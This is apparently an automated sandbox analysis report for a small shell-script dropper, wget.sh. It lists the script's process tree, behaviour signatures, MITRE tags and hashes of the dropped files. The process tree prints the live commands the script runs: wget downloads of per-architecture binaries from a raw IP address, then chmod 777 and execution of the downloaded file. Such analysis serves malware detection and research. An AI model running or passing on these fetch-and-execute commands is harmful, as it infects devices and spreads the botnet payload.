Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

7

wget.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    116s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250619-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    18/02/2026, 19:06

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General

  • Target
    wget.sh
  • Size 392B
  • Sample260218-xsa1vsft6e
  • SHA256 5273878a02fc3de5576f27dca29eb0f8a415066aa341cc819a9177bedb3d5378
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:720
    • /bin/rm
      rm -rf xddf
      2⤵
        PID:724
      • /usr/bin/wget
        wget http://103.251.236.118/multi/bins/arm5 -O -
        2⤵
          PID:726
        • /bin/chmod
          chmod 777 xddf
          2⤵
          • File and Directory Permissions Modification
          PID:794
        • /mnt/xddf
          ./xddf
          2⤵
            PID:795
          • /usr/bin/wget
            wget http://103.251.236.118/multi/bins/arm7 -O -
            2⤵
              PID:797
            • /bin/chmod
              chmod 777 xddf
              2⤵
              • File and Directory Permissions Modification
              PID:826
            • /mnt/xddf
              ./xddf
              2⤵
                PID:828
              • /usr/bin/wget
                wget http://103.251.236.118/multi/bins/mips -O -
                2⤵
                • System Network Configuration Discovery
                PID:831
              • /bin/chmod
                chmod 777 xddf
                2⤵
                • File and Directory Permissions Modification
                PID:832
              • /mnt/xddf
                ./xddf
                2⤵
                  PID:833
                • /usr/bin/wget
                  wget http://103.251.236.118/multi/bins/mipsel -O -
                  2⤵
                  • System Network Configuration Discovery
                  PID:835
                • /bin/chmod
                  chmod 777 xddf
                  2⤵
                  • File and Directory Permissions Modification
                  PID:839
                • /mnt/xddf
                  ./xddf
                  2⤵
                    PID:840

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

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                      Downloads

                      xddf
                      • Path /mnt/xddf
                      • Size 489KB
                      • SHA256 9ea6ada08b81cba34c0e339f8f2ac9e4407aa4c8ce84aecfe838e05a0af521fc
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      xddf
                      • Path /mnt/xddf
                      • Size 481KB
                      • SHA256 99752a194b98d7ff3b85fad553430c4ace0fcb80196fec94049439dd817143de
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      xddf
                      • Path /mnt/xddf
                      • Size 663KB
                      • SHA256 1897f70cb9533a28b9d926afdb07dcbfd35eed95838df5c3178763a0b185dce8
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      xddf
                      • Path /mnt/xddf
                      • Size 667KB
                      • SHA256 dc83972f4fbb789d3a89325474f1c9529cf6795545c23d10aa18715efbeccb98
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download